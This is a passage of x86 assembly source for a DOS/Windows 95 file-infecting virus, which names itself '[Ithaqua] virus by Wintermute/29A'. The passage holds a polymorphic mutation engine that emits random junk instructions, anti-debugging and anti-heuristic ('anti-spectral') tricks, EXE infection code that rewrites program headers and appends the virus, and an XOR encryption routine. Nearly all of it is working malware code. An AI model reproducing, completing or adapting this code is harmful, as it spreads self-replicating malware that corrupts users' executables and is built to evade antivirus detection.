        mov     byte ptr es:[di],48h     ; dec ax
        ret
@cont_a2_2_2:
        and     ah,1h
        jz      @cont_a2_2_2_2
        mov     byte ptr es:[di],4bh     ; dec bx
        ret
@cont_a2_2_2_2:
        and     al,1h
        mov     byte ptr es:[di],4ah     ; dec dx
        ret
@cont_a2:
        call    aleatorio
        and     al,3h
        jz      @cont_a2_11
        and     ah,3h
        jz      @cont_a2_12
        call    aleatorio
        and     al,3h
        jz      @cont_a2_2_11
        and     ah,3h
        jz      @cont_a2_2_12
        call    aleatorio
        and     al,1
        jz      @cont_a2_2_13
        mov     byte ptr es:[di],0cch    ; int 3h
        ret
@cont_a2_2_11:
        mov     byte ptr es:[di],9fh     ; lahf
        ret
@cont_a2_2_12:
        mov     byte ptr es:[di],99h     ; cwd
        ret
@cont_a2_2_13:
        mov     byte ptr es:[di],98h     ; cbw
        ret
@cont_a2_11:
        mov     byte ptr es:[di],0F9h    ; stc
        ret
@cont_a2_12:
        mov     byte ptr es:[di],0F8h    ; clc
        ret



  ; Generator ----> Two bytes length instructions

inst_2:
        call    aleatorio
        and     ah,1h
        jz      @cont_sub
        cbw
        and     ah,1h
        jz      sigunvm
        jmp     @cont_xor
sigunvm:
        jmp     @cont_mul
@cont_sub:
        mov     byte ptr es:[di],2bh
        inc     di
        cbw
        and     al,1
        jz      @cont_bsub_ax
        and     ah,1
        jz      @cont_bsub_dx
        call    aleatorio
        and     ah,1
        jz      @cont_bsub_bx_dxdisi
        and     al,1
        jz      @cont_bsub_bx_cx
        mov     byte ptr es:[di],0d8h  ; sub bx,ax
        ret
@cont_bsub_bx_cx:
        mov     byte ptr es:[di],0d9h  ; sub bx,cx
        ret
@cont_bsub_bx_dxdisi:
        cbw
        and     ah,1
        jz      @cont_bsub_bx_dx
        and     al,1
        jz      @cont_bsub_bx_di
        mov     byte ptr es:[di],0deh   ; sub bx,si
        ret
@cont_bsub_bx_di:
        mov     byte ptr es:[di],0dfh   ; sub bx,di
        ret
@cont_bsub_bx_dx:
        mov     byte ptr es:[di],0dah  ; sub bx,dx
        ret
@cont_bsub_ax:
        call    aleatorio
        and     ah,1
        jz      @cont_bsub_ax_dxdisi
        and     al,1
        jz      @cont_bsub_ax_cx
        mov     byte ptr es:[di],0c3h  ; sub ax,bx
        ret
@cont_bsub_ax_cx:
        mov     byte ptr es:[di],0c1h  ; sub ax,cx
        ret
@cont_bsub_ax_dxdisi:
        cbw
        and     ah,1
        jz      @cont_bsub_ax_dx
        and     al,1
        jz      @cont_bsub_ax_di
        mov     byte ptr es:[di],0c6h  ; sub ax,si
        ret
@cont_bsub_ax_di:
        mov     byte ptr es:[di],0c7h  ; sub ax,di
        ret
@cont_bsub_ax_dx:
        mov     byte ptr es:[di],0c2h  ; sub ax,dx
        ret
@cont_bsub_dx:
        call    aleatorio
        and     ah,1
        jz      @cont_bsub_dx_sidicx
        and     al,1
        jz      @cont_bsub_dx_bx
        mov     byte ptr es:[di],0d0h     ; sub dx,ax
        ret
@cont_bsub_dx_bx:
        mov     byte ptr es:[di],0d3h     ; sub dx,bx
        ret
@cont_bsub_dx_sidicx:
        cbw
        and     ah,1
        jz      @cont_bsub_dx_cx
        and     al,1
        jz      @cont_bsub_dx_di
        mov     byte ptr es:[di],0d6h     ; sub dx,si
        ret
@cont_bsub_dx_di:
        mov     byte ptr es:[di],0d7h     ; sub dx,di
        ret
@cont_bsub_dx_cx:
        mov     byte ptr es:[di],0d1h     ; sub dx,cx
        ret

@cont_xor:
        mov     byte ptr es:[di],033h
        inc     di
        call    aleatorio
        and     ah,1
        jz      @cont_xor_4last
        cbw
        and     ah,1
        jz      @cont_xor_34
        and     al,1
        jz      @cont_xor_2
        mov     byte ptr es:[di],0c0h     ; xor ax,ax
        ret
@cont_xor_2:
        mov     byte ptr es:[di],0c3h     ; xor ax,bx
        ret
@cont_xor_34:
        and     al,1
        jz      @cont_xor_4
        mov     byte ptr es:[di],0c2h     ; xor ax,dx
        ret
@cont_xor_4:
        mov     byte ptr es:[di],0dbh     ; xor bx,bx
        ret
@cont_xor_4last:
        cbw
        and     ah,1
        jz      @cont_xor_78
        and     al,1
        jz      @cont_xor_6
        mov     byte ptr es:[di],0d8h     ; xor bx,ax
        ret
@cont_xor_6:
        mov     byte ptr es:[di],0dah     ; xor bx,dx
        ret
@cont_xor_78:
        and     al,1
        jz      @cont_xor_8
        mov     byte ptr es:[di],0d2h     ; xor dx,dx
        ret
@cont_xor_8:
        mov     byte ptr es:[di],0d0h     ; xor dx,ax
        ret

@cont_mul:
        mov     byte ptr es:[di],0f7h
        inc     di
        call    aleatorio

        and     ah,1
        jz      @cont_divmul_34
        and     al,1
        jz      @cont_divmul_2
        mov     byte ptr es:[di],0e3h       ; mul bx
        ret
@cont_divmul_2:
        mov     byte ptr es:[di],0e1h       ; mul cx
        ret
@cont_divmul_34:
        and     al,1
        jz      @cont_divmul_4
        mov     byte ptr es:[di],0e6h       ; mul si
        ret
@cont_divmul_4:
        mov     byte ptr es:[di],0e7h       ; mul di
        ret


  ; Generator ----> Three bytes long instructions

inst_3:
        call    aleatorio
        mov     si,ax
        inc     si              ; We don't want a 0ffffh
        jz      inst_3
        dec     si
        and     ah,1
        jz      @add_or_sub_ax
        and     al,1
        jz      @mov_dx_inm
        mov     byte ptr es:[di],0bbh   ; mov bx,reg
        mov     word ptr es:[di+1],si
        ret
@mov_dx_inm:
        mov     byte ptr es:[di],0bah   ; mov dx,reg
        mov     word ptr es:[di+1],si
        ret
@add_or_sub_ax:
        and     al,1
        jz      @mov_mem_ax
        mov     byte ptr es:[di],05h    ; add ax,reg
        mov     word ptr es:[di+1],si
        ret
@mov_mem_ax:
        mov     byte ptr es:[di],0a1h   ; mov ax,mem
        mov     word ptr es:[di+1],si
        ret


  ; Generator ----> Four bytes instructions

inst_4:
        call    aleatorio
        mov     si,ax
        inc     si
        jz      inst_4
        dec     si
        and     ah,1
        jz      @q_seg_parte
        cbw
        and     ah,1
        jz      @q_movdxobx
        and     al,1
        jz      @q_subbxfuck
        cmp     byte ptr [numero_instruccion],1 ; I don't want to
        jz      @q_subbxfuck   ; make an Int21h about 7000 times <g>
        call    aleatorio
        and     ax,11b
        add     al,al
        push    si
        lea     si,@IntFunctions
        add     si,ax
        lodsw
        pop     si
        mov     word ptr es:[di],ax      ; Get drive function
        mov     word ptr es:[di+2],021cdh
        ret

@IntFunctions:
        dw      035b4h,052b4h,019b4h,062b4h

@q_subbxfuck:
        mov     word ptr es:[di],0eb81h
        mov     word ptr es:[di+2],si
        ret

@q_movdxobx:
        and     al,1
        jz      @q_movdx_mem
        mov     word ptr es:[di],01e8bh
        mov     word ptr es:[di+2],si
        ret

@q_movdx_mem:
        mov     word ptr es:[di],0168bh
        mov     word ptr es:[di+2],si
        ret
@q_seg_parte:
        cbw
        and     ah,1
        jz      @q_seg_sub
        mov     word ptr es:[di],0c281h
        mov     word ptr es:[di+2],si
        and     al,1
        jz      @nosvamos_4
        inc     byte ptr es:[di+1]
@nosvamos_4:
        ret
@q_seg_sub:
        mov     word ptr es:[di],0ea81h
        mov     word ptr es:[di+2],si
        and     al,1
        jz      @nosvamos_41
        inc     word ptr es:[di+1]
@nosvamos_41:
        ret


 ; Generator ----> More than 4 bytes routines

inst_5:
        call    aleatorio               ; Anti-spectral routine,
        and     ah,1                    ;generates a random value
        jz      @c_seg_parte            ;after a cmp ax,ax/jz xxx
        cbw
        and     al,1                    ;that will never be executed:
        jz      @c_seg_prim             ;'spectral' is a way of
        mov     word ptr es:[di],0c033h ;finding polymorphic viruses
        mov     word ptr es:[di+2],0274h;that checks for instructions
        call    aleatorio               ;that aren't in the poly
        mov     word ptr es:[di+4],ax   ;engine; if the instructions
        mov     si,06h                  ;are all of a fixed range,
        ret                             ;the spectral identifies the
                                                ;poly engine.

@c_seg_prim:
        and     ah,1
        jz      @reentrant_calls

Etiketa:

        mov     word ptr es:[di],0f7fah     ; Antidebugging routine
        mov     word ptr es:[di+2],0f7dch   ;( cli, neg sp, neg sp,
        mov     word ptr es:[di+4],0fbdch   ; sti )
        mov     si,06h
        ret

@c_seg_parte:
        cbw
        and     al,1
        jz      @c_seg_seg              ; Anti-spectral
        and     ah,1
        jz      @reentrant_calls
        mov     word ptr es:[di],0ffb8h     ; mov ax,0ffffh
        mov     word ptr es:[di+2],040ffh   ; inc ax
        mov     word ptr es:[di+4],0274h   ; jz  seguimos
        call    aleatorio                   ; ( 2 crap bytes )
        mov     word ptr es:[di+6],ax
        mov     si,08h
        ret

@c_seg_seg:
        and     ah,1
        jz      @make_dumb_jmp
        lea     si,ant_debug            ; Antidebugging, the routine
        mov     cx,@End_ant-ant_debug    ;placed near the beggining
        push    cx                      ;of Zohra
        rep     movsb
        pop     si
        sub     di,si
        ret

@make_dumb_jmp:
        mov     bl,06h
        call    get_random
        mov     al,0ebh
        mov     ah,bl
        stosw
        xor     cx,cx
        mov     cl,bl
        mov     si,2d
        add     si,cx
garbage_inside:
        call    aleatorio
        stosb
        loop    garbage_inside
        sub     di,si
        ret

ant_debug:
        push    ax              ; Anti-debugging typical old boring
        pop     ax              ;routine :-P.
        dec     sp
        dec     sp
        pop     bx
        cmp     ax,bx
        jz      @End_ant
        mov     ax,4c00h
        int     21h
@End_ant:

reentrant_flag:
        db      0
posicion_sub:
        dw      0

@reentrant_calls:

        dec     byte ptr [reentrant_flag]
        jz      @make_call

        cmp     word ptr [restantes_poly],50d
        jbe     Etiketa

        mov     bl,20d
        call    get_random
        add     bx,5d                   ; At least inside = 5 bytes
        mov     al,0ebh
        mov     ah,bl
        inc     ah
        xor     cx,cx
        mov     cl,bl
        push    di
        stosw                       ; The jump is stored
        mov     word ptr [posicion_sub],di
        push    cx

        push    word ptr [restantes_poly]       ; Make a mini-poly :P
        push    word ptr [Numero_instruccion]
        mov     word ptr [restantes_poly],cx
        mov     word ptr [numero_instruccion],0
        call    centro_poly
        pop     word ptr [Numero_instruccion]
        pop     word ptr [restantes_poly]

        mov     al,0c3h
        stosb
        pop     cx
        add     cx,3
        mov     si,cx
        mov     byte ptr [reentrant_flag],1
        pop     di
        ret

@make_call:

        push    di
        mov     al,0e8h
        stosb

        mov     ax,word ptr [posicion_sub]  ; Operate call
        sub     ax,di
        dec     ax
        dec     ax
        stosw

        pop     di
        mov     si,03h

        ret


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;       Windows 95 adapted shit
;                           W95 adapted shit
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

EXE_W95_Infect:

        call    front_door

        dec     si
        cmp     word ptr ds:[si-3],'XE'
        jnz     end_infection;@nah_fuck



        xor     bp,bp
                        ; Attributes
        mov     ax,4300h
        div     bp
        mov     ax,4301h
        push    ax cx dx ds
        xor     cx,cx
        div     bp

        mov     ax,3d02h
        div     bp
        jc      restore_attrs
        xchg    ax,bx

        mov     ax,5700h                ; Time/date of file
        push    ax
        div     bp
        push    dx cx
        and     cl,1eh
        xor     cl,1eh
        jz      @itwasinfected

        push    cs
        pop     ds
        mov     ah,3fh                  ; Reads header
        mov     cx,01ch
        lea     dx,buffercom
        div     bp

        mov     ax,word ptr ds:[buffercom]
        add     al,ah
        sub     al,'M'+'Z'
        jnz     @itwasinfected

        cbw                                     ; overlays
        cmp     word ptr ds:[buffercom+1ah],ax
        jnz     @itwasinfected

        cmp     word ptr ds:[buffercom+18h],40h    ; Windoze
        jz      @itwasinfected

        call    Ptrtoend                        ; EOF

        push    ax
        shr     ax,4
        shl     dx,12
        add     dx,ax
        sub     dx,word ptr cs:[buffercom+8]
        pop     si
        and     si,0fh

        push    si
        add     si,100h
        mov     ax,si
        call    Smack_My_Bitch_UP
        mov     bp,1

        mov     word ptr cs:[stack_old],sp  ; not enuff stack sometimes
        mov     word ptr cs:[stack_old+2],ss
        push    cs
        pop     ss
        mov     sp,offset _endstack2-2

        sub     word ptr cs:[return_point],tha_difference
        call    copy_myself
        add     word ptr cs:[return_point],tha_difference

        mov     ss,word ptr cs:[stack_old+2]
        mov     sp,word ptr cs:[stack_old]

        pop     si

        mov     ds:word ptr [CS_IP+2],dx    ; We actualize header
        inc     dx
        mov     ds:word ptr [buffercom+0eh],dx
        mov     ds:word ptr [CS_IP],si
        mov     ds:word ptr [buffercom+10h],((virus_size+300h-15h)/2)*2

        call    Ptrtoend

        mov     cx,200h
        div     cx
        inc     ax
        mov     word ptr cs:[buffercom+2],dx        ; File size, etc
        mov     word ptr cs:[buffercom+4],ax

        mov     ax,4200h
        call    Ptrtowhatever

        push    cs
        pop     ds
        mov     ah,40h      ; Write header
        mov     cx,01ch
        lea     dx,buffercom
        div     bp

@itwasinfected:
                        ;date
        pop     cx dx ax
        inc     ax
        or      cl,1fh
        div     bp

restore_attrs:
                        ;attr
        pop     ds dx cx ax
        div     bp

        jmp     @closego

Ptrtoend:
        mov     ax,4202h

Ptrtowhatever:
        xor     cx,cx
        cwd
        div     dx
        ret




;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;                           Data for the virus
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

ret_pos:    dw      100h
buffercom:  db      0cdh,020h,00h
            db      11h dup (0)
CS_IP:
            dw      offset temp2,0
            db      01ch-16h dup (0)
comjmp:     db      0e9h,00h,00h
are_we_on_MBR:  db  0
This_Virus_Has_Internal_Text_XP:
            db      'Love. Hate. I''ll be awaiting you on the dark side, '
            db      'watching the nonsense.',0
VName:
            db      '[Ithaqua] virus by Wintermute/29A',0

encryption_ends     label   byte

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;                          Encryption/decryption
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Let's hide. Artificial beeing makes hunters ignore.
;

Swap_seg: dw    0
Swap_off: dw    0

copy_myself:

        call    push_all_regs

        push    bx
        mov     word ptr cs:[0000h],071eh

        mov     bx,bp
        xor     si,si
        push    si
        push    cs cs
        pop     ds es
        mov     di,virus_size+201h
        mov     dx,di                   ; Start crypt
        mov     bp,dx
        mov     cx,virus_size
        push    cx
        rep     movsb
        call    decrypt

        pop     cx
                                            ; Now we crypt poly engine
        dec     bx                      ; Are we able to make poly ?
        jnz     No_Poly_This_Time       ; Don't poly when inserting
        call    push_all_regs
        call    RNME        ; Reconstructed Necromantic Mutation Engine
        call    pop_all_regs
        add     cx,200h
        sub     dx,200h

No_Poly_This_Time:

        pop     di bx
        mov     ah,52h
        add     ah,0eeh
        div     di

        call    decrypt

        call    pop_all_regs
        ret


int0h:      dw      0,0
int0handler:

        call    call_21h
        mov     word ptr cs:[_bp],bp
        mov     bp,sp
        add     word ptr ss:[bp],2
        mov     bp,word ptr cs:[_bp]
        retf    2

call_21h:
        pushf
        call    dword ptr cs:[int21h]
        ret


j21:    db      0eah
int21h: dw      0,0
int21h_plural:  dw  0,0,0,0,0,0   ; Four int21h addresses
outta_crypt:    db  0


decrypt:
        mov     al,byte ptr cs:[outta_crypt+bp]
        lea     si,encryption_starts
        mov     cx,encryption_length
        add     si,bp
@crypt_loop:
        xor     byte ptr cs:[si],al
        inc     si
        loop    @crypt_loop

        ret

virus_ends label byte
virus_size equ virus_ends-virus_starts
virus_16b equ ((virus_size+15)/16)+1

temp:
        sub     word ptr cs:[Fut_Crypt],(temp-decrypt)
        ret

temp2:
        mov     ax,4c00h
        int     21h


End Virus

; But, in the end, I recover normality. Happier. Thoughtless ?
